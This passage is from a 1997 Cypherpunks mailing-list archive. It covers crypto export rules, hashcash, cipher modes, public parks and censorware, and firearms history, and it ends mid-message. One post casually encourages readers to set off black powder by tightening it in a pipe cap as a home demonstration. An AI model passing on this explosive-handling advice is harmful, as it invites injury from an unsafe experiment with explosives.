> they are not state employees. The situation is analogous to a public =
> park:
> just because the state owns it, does that mean it can forbid, say, =
> criticism
> of the state in it? No, of course not, though it has broader discretion =
> in
> limiting the speech of public employees in the park, while on-duty.

Why should any state be in the business of owning and running any parks?
We pay $60/year for a family membership in an excellent private park.
Most public parks in NYC are extremely unpleasant and dangerous places.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From gnu at toad.com  Tue Dec 23 12:52:59 1997
From: gnu at toad.com (John Gilmore)
Date: Tue, 23 Dec 1997 12:52:59 -0800 (PST)
Subject: Gilmore Publishes Strong Crypto Code Online for Authentication
Message-ID: <199712232040.MAA20998@toad.com>


[This announcement does not relate directly to the Bernstein case,
 but I felt the overlap of interest would be very strong.  -- John]


      Strong Crypto Code Published Online for Authentication

San Francisco, December 23, 1997 - Civil libertarian John Gilmore
today published strong authentication source code on the Internet,
making it available for worldwide access, despite U.S. National
Security Agency attempts to restrict such software.  He is publishing
Domain Name System Security software that contains a complete copy of
RSAREF, well-known cryptography software that is a predecessor to the
DNSsafe software released in October by RSA Data Security, Inc.

Mr Gilmore explains, "Internet publication of cryptography software is
considered an export by the US Government, and often requires
government permission under the Export Administration Regulations
(EAR).  But those regulations specifically exempt programs which
merely prove that information is authentic (authentication), rather
than hiding the information (privacy)."

The export regulations were amended in 1989 to exclude authentication
software.  Since that time, however, the National Security Agency has
been telling people privately that the exclusion only applies to
ready-to-run "binary" programs.  They have reportedly claimed that the
regulations still require government permission to export the
human-readable "source code" of authentication programs.  The plain
text of the regulations makes no such distinction, though; all
authentication programs are exempt.

Readers can obtain the software from Mr. Gilmore's web site for Domain
Name System Security, at http://www.toad.com/~dnssec or at
http://www.flash.net/~dnssec.  Future releases will be available from
the Internet Software Consortium, http://www.isc.org/bind.html.

The Electronic Frontier Foundation, which Mr. Gilmore co-founded, is
sponsoring a lawsuit to have the entire cryptography software export
control regime overturned.  In the three-year suit, Bernstein v. State,
Judge Marilyn Hall Patel has invalidated export controls administered by
both the State Department and the Commerce Department.  She ruled they
are an unconstitutional prior restraint against our First Amendment
right to speak and publish about cryptography.  The case is now in the
Ninth Circuit Court of Appeals.

Domain Name System Security:		http://www.toad.com/~dnssec
				or	http://www.flash.net/~dnssec
Internet Software Consortium:		http://www.isc.org
RSA Data Security:			http://www.rsa.com
Electronic Frontier Foundation:	        http://www.eff.org

Press Contacts:

	John Gilmore, Founding Board Member, EFF
	+1 415 221 6524, gnu at toad.com

	Shari Steele, Staff Attorney, Electronic Frontier Foundation
	+1 301 375 8856, ssteele at eff.org

	More press background is available at:
	http://www.toad.com/~dnssec/pressrel1.background.txt





From mhw at wittsend.com  Mon Dec 22 20:56:28 1997
From: mhw at wittsend.com (Michael H. Warfield)
Date: Tue, 23 Dec 1997 12:56:28 +0800
Subject: Lock and Load (fwd)
In-Reply-To: <199712230241.UAA21609@einstein.ssz.com>
Message-ID: <199712230450.XAA01360@alcove.wittsend.com>



Jim Choate enscribed thusly:
> Forwarded message:

> > 	The reference goes back to old flint lock muzzle loaders.  You would
> > "lock" the firing mechanism in a safety position (kind of a half cocked
> > position), then load it through the muzzle (picture this and some old
> > cartoons about raming a ball on top of gun powder down the muzzle of a
> > riffle and the possiblities to picture why you would want this locked on
> > "safety"), then finish cocking the rifle to prepare it to fire.  This also
> > relates to the term "half cocked" since a rifle that was only half cocked
> > (in its locked position) was not ready to fire.  So going off "half cocked"
> > became a reference to going into something unprepared while "lock and load"
> > evolved into a reference to actively or vigorously preparing to engage in
> > something, be it a battle, an arguement, or what ever...

> This is only partialy correct, the fact is that half-cocked simply means the
> pan-head is down or covered so if the flint strikes the firing plate a spark
> will not be propogated into the firing chamber (a hole in the side of the
> barrel) and hence fire the weapon. Firing one of these weapons is a two step
> process once loaded and aimed. Pull the hammer back and remove the pan-head.
> The pan-head is *always* opened just prior to firing in order to eliminate
> as many causes of a mis-fire (eg rain hitting the pan-head or wind blowing
> the primer charge out of the pan-head) as possible.

	Agreed to all technical specifics of the muzzle loaders.

> Traditionaly (as I was tought anyway) 'half-cocked' meant you didn't carry
> through all the way in preperations to the final goal. It is clear that it
> has taken on much broader meaning relating to general incompetance and
> over-zealousness.

	Agreed.

> "Lock and load" is not in any of the infantry manuals I have ever seen from
> before the mid-1800's. And in every case it refered to a modern weapon not
> a muzzle load weapon. If anyone can point to an exception I would
> appreciate it. In all of them it refers to safety'ing the weapon and then
> loading a round into the chamber. It originaly came into use because of the
> operation of a bolt-action rifle. If the gun wasn't on safety when the bolt
> was driven home there was a small but real chance the firing pin (in the
> back of the bolt you just jammed down with some zeal) would go off and cause
> the weapon to mis-fire (if you and your buddy are both lucky - you missed
> both of you).

	Can't point to any specific manual.  This was explained to me by
some of the "so called" experts on early firearms who give demonstrations
down here at some of the battlefield monuments and parks here in Georgia.
This is what "the experts" have claimed.  Can't personally claimed to have
read it in any specific manual myself.

> As to the loading of the ball onto the gun-powder - you won't do it the way
> described above but once. The black powder will go off on about the 3rd tap
> and you won't have the two hands it takes to load a muzzle-loader. If you
> *ever* load a black powder be *absolutely shure* that there is a ball pad
> between the gun powder and the ball. It is *not* there for barrell sealing
> or some other silly explanation - it's there to inhibit compressive
> explosion of the black powder. Don't believe it, go down to the hardware or
> feed store and buy a small can of black powder. Then get a 3/4" pipe and
> cap. Put only one or two flakes of the black powder on the threads and then
> tighten with a pipe wrench (wear gloves, glasses, and apron). After about a
> half turn or so you should hear a distinct snapping sound. This is the black
> powder going off. This is what will happen if black powder gets between the
> ball and barrel while you're tapping - and there's a *lot* more gunpowder
> than a couple of flakes to take your hand (and your face if you're silly
> enough to be leaning over the barrel which is where not looking down the
> barrel of a gun comes from).

	I have loaded and "touch off" a Kentucky long rifle.  Admittedly,
percusive caps have replaced the old lock and flint so some of the issues are
different.  I do, however, follow the rules.  Yes the wadding goes in, which
ever reason you accept, and yours is just as good (if not better) than the
others.  I also happen to have an friend who happen to be very much into
muzzle loaders as well as reloading his own shells for conventional arms.
This friend happened to have a fire in his house about five years ago.
As he tells the story, the fire burned the paint off the outside of the can
of smokeless powder sitting on a shell in his basement but did not expedite
his journey into discovering the nature of life beyond.  I personally would
not recommend subjecting such substances to such abuses of heat and pressure,
but some are known to get away with it and still live to tell the tale.

> Also, those guns didn't have safeties to engage. There was really only two
> ways to enshure a safe weapon once loaded - either have the panhead closed
> or take the flint or steel blade out of the hammer. Even when un-cocked the
> hammer and blade rests on the firing plate and any stiff strike will cause a
> spark. Easy to demonstrate - while holding one simply strike the hammer with
> the heel of your hand while in the dark - that little spark is what blew
> your face off.

> You can buy working 'Brown Bessie' models at most any gun or decent hobby
> store. They're cheap (around $100 last time I looked), loud, smelly, and
> loads of fun...

	I personally like the Kentucky Longs you can build from kits.  Will
throw and impressive 1/4" lead ball and leave one hell of an impression when
it arrives...

> Merry Christmas!

	Same!

>     ____________________________________________________________________
>    |                                                                    |
>    |      Those who make peaceful revolution impossible will make       |
>    |      violent revolution inevitable.                                |
>    |                                                                    |
>    |                                          John F. Kennedy           |
>    |                                                                    |
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http://www.ssz.com/   |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage at ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw at WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!






From whgiii at invweb.net  Mon Dec 22 21:06:33 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 23 Dec 1997 13:06:33 +0800
Subject: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <199712221801.SAA00366@server.eternity.org>
Message-ID: <199712230503.AAA10928@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712221801.SAA00366 at server.eternity.org>, on 12/22/97 
   at 01:01 PM, Adam Back  said:

>William Geiger  writes:
>> Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
>> based charges for everything done on the 'net. What will be next? FTP
>> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
>> servers charging per lookup? Routers charging per packet?

>We already pay usage charges indirectly.

>That is to say, in the UK you pay per second phone line charges.  It
>would actually save me money if the net was a bit more responsive.  If I
>was paying packet delivery at guaranteed performance, I would spend less
>money on the phone charges.

Well this is a UK telco problem not an Internet problem. I most certianly
do not wish to see my rates increase in an effort lower yours.

>Flat rate charges is nice enough, and the way I would like things to
>stay, however I tend to think that usage charges would not be as bad as
>you expect, because it would put competitive pressure on ISPs to provide
>performance.

I highly doubt it. Currently the going rate in the US is $15-$20/mo
unmetered rate for a standard dial-up ppp account. This includes 1 or 2
mail boxes, 5-10Mb quota space, WebServer, NewsServer, POP3 & SMTP
servers. This is fairly standard offering but will vary slightly from one
ISP to another. This is what the market will bare due to fierce
competition in the ISP bussiness. I doubt that switching to a metered rate
system will lower prices any and more than likely will *increase* prices.

There have been ISP's in the past who have offered metered rate services,
they are no longer in business. People have voted with their walets and
have overwhelmingly stated that they do not want metered rate services
(this is why you hear some on the list talking about "educating" the
users).

>(My current ISP has truly pitiful performance.)

Get a different ISP. I have switched my webpages and mail accounts to a
shell account so I can switch ISP's at will without any problems.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ9FiI9Co1n+aLhhAQI3YgP/V886btQ7hRVL1ouJc7kq92ESmveQshEo
TEMzFq1lFABiuOd5cfdup92irtKWkIzZFZ+gK0Og9PR7XFVcqd1a4YgB3RKpXCcV
30185A6YtsHnvmK4FgulGNE9kKcTlqjVMLCbQduV+hTxrJy8AWO3fLdvUj70nfdp
y0iv1ve+w3A=
=lGTl
-----END PGP SIGNATURE-----






From ravage at ssz.com  Mon Dec 22 21:06:46 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 13:06:46 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230524.XAA22670@einstein.ssz.com>



Forwarded message:

> From: "Michael H. Warfield" 
> Subject: Re: Lock and Load (fwd)
> Date: Mon, 22 Dec 1997 23:50:36 -0500 (EST)

> This is what "the experts" have claimed.  Can't personally claimed to have
> read it in any specific manual myself.

I've seen a couple and there are *lots* of references to the various manuals
(and I think every wanna be professional soldier in the last 500 years has
written one at some point) in the various readings I do studying tactical
combat techniques but that doesn't make me an expert by any stretch
of the imagination. The very fact that there are so many and so many were
never accepted (quality?) means even they are by no means a final reference.
I would like to know if there were exceptions or even who wrote the first
manual with 'lock and load'...

> This friend happened to have a fire in his house about five years ago.

Yuck, I had a house fire going on 3 years ago now. Every time I smell a
bar-b-q pit I remember it...;(

> his journey into discovering the nature of life beyond.  I personally would
> not recommend subjecting such substances to such abuses of heat and pressure,
> but some are known to get away with it and still live to tell the tale.

I've seen that sort of behaviour as well. I've tried to demonstrate the pipe
model and truth be told, it works only about 9 out of 10 times. Black powder
just ain't that unstable.

> > You can buy working 'Brown Bessie' models at most any gun or decent hobby
> > store. They're cheap (around $100 last time I looked), loud, smelly, and
> > loads of fun...
> 
> 	I personally like the Kentucky Longs you can build from kits.  Will
> throw and impressive 1/4" lead ball and leave one hell of an impression when
> it arrives...

Agreed...

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From tcmay at got.net  Mon Dec 22 21:21:13 1997
From: tcmay at got.net (Tim May)
Date: Tue, 23 Dec 1997 13:21:13 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: 



At 9:13 PM -0700 12/22/97, Paul Spirito wrote:

>It's true that in the absence of public libraries this would not be an
>issue; however, it is an example of the state acting as sovereign, not
>employer. We're concerned with the right of patrons to access material, &
>they are not state employees. The situation is analogous to a public park:
>just because the state owns it, does that mean it can forbid, say, criticism
>of the state in it? No, of course not, though it has broader discretion in
>limiting the speech of public employees in the park, while on-duty.

Well, to move this away from First Amendment issues, for the sake of
novelty, I know of several nearby state-owned parks (literally) which
forbid discharge of firearms or even carrying of firearms.

Whither the Second Amendment? (Or has it withered?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From tcmay at got.net  Mon Dec 22 21:23:01 1997
From: tcmay at got.net (Tim May)
Date: Tue, 23 Dec 1997 13:23:01 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: 



At 11:04 AM -0700 12/22/97, David Honig wrote:

>Note that if the library in question were not arm of the State,
>noone would have any First Amendment claim.
>
>This is reminiscent of TM's recent (controversial) analysis of the fired
>county trashworker/author,
>and suggests a clearer example of the confusion caused by State as Employer:

Yep, I started to write just such an analysis this morning when I saw
Declan's report. But I felt the arguments had already been made, in other
cases, so I never finished the article.

Look, the state-as-employer or the state-as-library has, for ontological
reasons, various rules, conditions, etc. which have nothing to do with the
state-as-sovereign.

If the state-as-employer insists that English be spoken in offices, is this
an infringement of First Amendment rights in even remotely the same way as
if the state-as-sovereign illegalized the speaking of Portugese in Texas
(or anyplace else that was not a state-as-employer office)?

When the state-as-sovereign sets up libraries that don't carry Everything
(hint: and not even the LOC carries everything), then the choices it makes
can be seen by some to be First Amendment violations.

That way lies madness.

A better solution is to get Government out of the business of running
libraries or providing Net access.

Again, I see no clearcut First Amendment issues here.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From whgiii at invweb.net  Mon Dec 22 21:25:26 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 23 Dec 1997 13:25:26 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: <199712230508.AAA10976@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/22/97 
   at 11:26 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>berezina at qed.net (Paul Spirito) writes:

>> On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:
>>
>> >Note that if the library in question were not arm of the State,
>> >noone would have any First Amendment claim.
>> >
>> >This is reminiscent of TM's recent (controversial) analysis of the fired
>> >county trashworker/author,
>> >and suggests a clearer example of the confusion caused by State as =
>> Employer:
>>
>> It's true that in the absence of public libraries this would not be an
>> issue; however, it is an example of the state acting as sovereign, not
>> employer. We're concerned with the right of patrons to access material, &
>> they are not state employees. The situation is analogous to a public =
>> park:
>> just because the state owns it, does that mean it can forbid, say, =
>> criticism
>> of the state in it? No, of course not, though it has broader discretion =
>> in
>> limiting the speech of public employees in the park, while on-duty.

>Why should any state be in the business of owning and running any parks?
>We pay $60/year for a family membership in an excellent private park.
>Most public parks in NYC are extremely unpleasant and dangerous places.

I find it quite amazing that anyone would live in a place where you had to
pay to see grass and trees.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ9G4o9Co1n+aLhhAQKhVwQAgdbqMlGKhQO/gFpSbIFOy+pWxOmF105D
VP7DDZGnUL0RlCk0H7IWfO7Z8Y58w/tV0ouyMfX5elZRHR4Mj68faeock8VvEtrk
OzoYTOddVC94cEFjMldqCuRkPKheY5w0g2/TJi0juYtRw7f5sBLzNw2B9ytrdvBO
Kc/pmsCTukg=
=qgap
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Mon Dec 22 21:33:04 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 13:33:04 +0800
Subject: Lock and Load (fwd)
In-Reply-To: <199712230437.WAA19352@manifold.algebra.com>
Message-ID: 



ichudov at Algebra.COM (Igor Chudov @ home) writes:

>
> Jim Choate wrote:
> > Sorry you are the one to bring this one up...
> > Forwarded message:
> >
> > > Subject: Re: Lock and Load (fwd)
> > > Date: Mon, 22 Dec 1997 21:45:46 -0600 (CST)
> > > From: ichudov at algebra.com (Igor Chudov @ home)
> >
> > >
> > > AK-47.
> > >
> >
> > The Chinese Norinco version will certainly do so, I've fired a couple of
> > them. Never seen a real soviet model but they are supposed to be piece for
> > piece interchangable. But will check into it and get back to you.
> >
>
> You can't lock and load an AK. I remember that very well even though it
> has been a while. The bolt just would not go far enough back to pick up
> the cartridge. The bolt carrier's charging handle would only go as far
> as to allow for the weapon inspection.
>
> You can only load and lock. And I think that it is the right design,
> because a soldier cant accidentally get the weapon loaded.
>
> I could field strip an AK (mind you, with all military gadgets) in 11
> seconds and assemble it back in 21 seconds.

Impressive.

> What crypto relevance does it have?

It shows that a Communist rifle doesn't allow us the freedom to lock and load.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Dec 22 21:40:02 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 13:40:02 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: 



Tim May  writes:

> At 11:04 AM -0700 12/22/97, David Honig wrote:
>
> >Note that if the library in question were not arm of the State,
> >noone would have any First Amendment claim.
> >
> >This is reminiscent of TM's recent (controversial) analysis of the fired
> >county trashworker/author,

Why should the state be in the business of hauling away trash anyway?

I can sort of see why the state might insist that you don't pile your
trash where it smells and bothers the neighbors, and let the people find
their own ways of disposing of their garbage - presumably hiring one of
several competing private garbage hauling companies, any one of whom will
perform better service for less money than the state.

And if a homeowner decides to switch garbage collectors because he doesn't
like what his present garbage collector says in print (or on Usenet), that
should be pretty painless for him and not a 1st amendment issue.

Lock and load (or load and lock if you happen to carry an AK-47)
Did you know that AK stands for Avtomat Kalashnikova?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Dec 22 21:50:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 13:50:35 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <199712230508.AAA10976@users.invweb.net>
Message-ID: 



"William H. Geiger III"  writes:

> In , on 12/22/97
>    at 11:26 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >berezina at qed.net (Paul Spirito) writes:
>
> >> On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:
> >>
> >> >Note that if the library in question were not arm of the State,
> >> >noone would have any First Amendment claim.
> >> >
> >> >This is reminiscent of TM's recent (controversial) analysis of the fired
> >> >county trashworker/author,
> >> >and suggests a clearer example of the confusion caused by State as =
> >> Employer:
> >>
> >> It's true that in the absence of public libraries this would not be an
> >> issue; however, it is an example of the state acting as sovereign, not
> >> employer. We're concerned with the right of patrons to access material, &
> >> they are not state employees. The situation is analogous to a public =
> >> park:
> >> just because the state owns it, does that mean it can forbid, say, =
> >> criticism
> >> of the state in it? No, of course not, though it has broader discretion =
> >> in
> >> limiting the speech of public employees in the park, while on-duty.
>
> >Why should any state be in the business of owning and running any parks?
> >We pay $60/year for a family membership in an excellent private park.
> >Most public parks in NYC are extremely unpleasant and dangerous places.
>
> I find it quite amazing that anyone would live in a place where you had to
> pay to see grass and trees.

I pay (the NYC+NYS income taxes) for the right to see the grass and the trees
in Central Park.  I haven't been there in years, but I hear every once in a
while about folks getting robbed, raped, and killed there. My late mother was
involved with the Central Park conservancy, so I know that unbelieavable
amounts of $$$ from taxes and private donations are used for patronage jobs
or get stolen outright. If it were up to me, I'd have the fucking thing
paved over/filled up and developed into lots of rental apartment units and a
few manageably small privatized parks.

The $60/annum we pay for the garden membership is a tiny fraction of the taxes
we pay; and we get a huge park with french-style flower beds, and an english-
style forest, a fish pond, one of the best rose gardens in the country, etc
- more stuff that one can see in a single day. The kids love it. I think it's
an excellent bargain, and less than we spend occasionally on a single dinner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ravage at ssz.com  Mon Dec 22 22:10:01 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 14:10:01 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712230558.XAA23016@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 22 Dec 97 23:05:19 -0600
> Subject: Re: SPECIAL REPORT: Censorware in the Stacks

> >Why should any state be in the business of owning and running any parks?
> >We pay $60/year for a family membership in an excellent private park.
> >Most public parks in NYC are extremely unpleasant and dangerous places.
> 
> I find it quite amazing that anyone would live in a place where you had to
> pay to see grass and trees.

I don't know whether I should feel blessed or cursed now....I spent several
hours today clearing the yard (covered in grass) of tree limbs that were
knocked down from the storm last week and in preperation for the storm to
come in to town tomorrow...still have to mow that green stuff since it's
getting a tad tall...maybe this weekend.

Personaly, I can't imagine why anyone would allow them to build a city
without parks and grass and trees and such. Hell, we have laws in Austin
that make such things mandatory...there is currently a big fight going on
about 'Triangle Park' here in Austin between leaving the 50+ acres at N.
Lamar, Guadalupe, & 45th alone or selling to make a movie theatre and
parking lot. Looks like the trees are gonna win this one...I know my dog
certainly likes romping in the mud puddles...(I live about 10 blocks away)

So big bucks don't always win and the city & state (the park is owned by
the state hospital and currently houses some sort of juvenile center in
one small corner) governments do sometimes listen to the people of a
neighborhood over commercial interests.

Money is not more important than trees sometimes & government sometimes
does listen...

Merry Christmas!



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From kelsey at plnet.net  Mon Dec 22 22:37:01 1997
From: kelsey at plnet.net (John Kelsey)
Date: Tue, 23 Dec 1997 14:37:01 +0800
Subject: Question on CFB variant with c[i-N]
Message-ID: <199712230633.AAA31569@email.plnet.net>



> From: Johnson, Michael P (Mike) 
> To: 'coderpunks at toad.com'; 'cypherpunks at algebra.com'; 'David Honig'

> Subject: RE: Question on CFB variant with c[i-N]
> Date: Monday, December 22, 1997 12:22 PM
 
> How about this mode:
>     c[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
>     p[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
> 
> The feedback possibilities are literally endless. The analysis of
the
> effects on security, speed, error propagation, etc., are left as an
> exercise for the reader. 
 
> Some standard modes have been well analyzed and accepted. They also
are
> built into specialized cracking hardware. Offering and using
multiple
> modes and multiple algorithms raises the cost of building
specialized
> cracking hardware.

I'm kind-of skeptical of the big advantages of this.  I mean, if you
were convinced
someone with a DES-cracking engine was listening in on an encrypted
channel, 
and you really wanted to make sure they wouldn't manage to get any
plaintext, would
you rather alter your system to use some weird and not-too-well
analyzed chaining
mode, or alter your system to use DESX or Blowfish or something else
with a 
key length too big to be vulnerable to such keysearch machines? 
There clearly *are*
ways to get more than 56 bits of security out of DES.  However,
they're not generally
obvious, and even very bright cryptographers have shot themselves in
the foot trying
to design them.  (Remember 3DES with internal CBC-mode chaining,
Ladder DES, and
DES-Tran-DES-Tran-DES?)

--John Kelsey, kelsey at counterpane.com / kelsey at plnet.net
NEW PGP print =  5D91 6F57 2646 83F9 6D7F 9C87 886D 88AF
   






From mixmaster at remail.obscura.com  Mon Dec 22 22:37:12 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Tue, 23 Dec 1997 14:37:12 +0800
Subject: Best Cypherpunk long gun
Message-ID: <199712230611.WAA27275@sirius.infonex.com>



What is the best long gun for a Cypherpunk?






From whgiii at invweb.net  Mon Dec 22 22:46:12 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 23 Dec 1997 14:46:12 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: <199712230638.BAA11884@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/22/97 
   at 11:07 PM, Tim May  said:

>At 9:13 PM -0700 12/22/97, Paul Spirito wrote:

>>It's true that in the absence of public libraries this would not be an
>>issue; however, it is an example of the state acting as sovereign, not
>>employer. We're concerned with the right of patrons to access material, &
>>they are not state employees. The situation is analogous to a public park:
>>just because the state owns it, does that mean it can forbid, say, criticism
>>of the state in it? No, of course not, though it has broader discretion in
>>limiting the speech of public employees in the park, while on-duty.

>Well, to move this away from First Amendment issues, for the sake of
>novelty, I know of several nearby state-owned parks (literally) which
>forbid discharge of firearms or even carrying of firearms.

>Whither the Second Amendment? (Or has it withered?)

Well I realy can't see having a bunch of yahoo's shooting off guns in a
crowded park to be a good thing. :) I guess it depends on what one means
by a "park". If we are talking a few acre's of trees and grass in a city
then one really shouldn't be using firearms unless in self defence. If we
are talking "parks" in the sq. mile size that is a different matter.

As far as carrying firearms IMNSHO there should be no restrictions as they
are blatently in violation of the 2nd Admendment.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ9b/I9Co1n+aLhhAQIjQgP/UjNuKKntHmHmvHdW/R10TgS4r0nvCXnp
tw7dFRNQWSrpJlRIKibfmDyLA2WZ5x89abQfk3Oinf+m/7HKwh/hyRSLq65YMZFC
qXa5fKKPc35aIfw0UTrW1p4Rtmn8uhmDqffkmuMCSyw+MVGa5zKXGkTaCTvT4EBp
omilOyT7Taw=
=r6uF
-----END PGP SIGNATURE-----






From brianbr at together.net  Mon Dec 22 22:47:52 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 23 Dec 1997 14:47:52 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230645.BAA06694@mx02.together.net>



On 12/22/97 6:40 PM, Jim Choate (ravage at ssz.com)  passed this wisdom:

>
>Forwarded message:
>
>> Subject: Re: Lock and Load 
>> Date: Mon, 22 Dec 97 17:59:49 -0500
>> From: "Brian B. Riley" 
>
>> There are probably as many weapons where this is true as there where
>> it is not. In general it makes most sense to check for safe condition
>> before and after loading.
>
>Would you be so kind as to give a specific example of a bolt action,
>semi-automatic, or automatic rifle that can't be loaded on safe? I have
>never seen a rifle that wouldn't allow this.

  Remington Model 8 semi-automatic rifle (circa 1905-1930+) there is one 
(high three digit serial number made in 1906) chambered in .35 Remington 
on the wall about 30 feet from where I am sitting. It's safety is right 
side mounted and not only blocks the trigger but locks the bolt forward 
both internally and externally by blocking track for the bolt handle, it 
must be off to draw the bolt back to load the internal five round 
pushdown magazine. The design was based on the original Browning patent 
for a semi-automatic rifle. I remember through the years seeing at least 
three other weapons with similar mechanisms but I cannot recall make and 
model save that one of the was a Remington of 1920's vintage.

>A parallel pistol example would be nice too, if you're so inclined.

 I don't know of any pistols .... except that in the case of the 
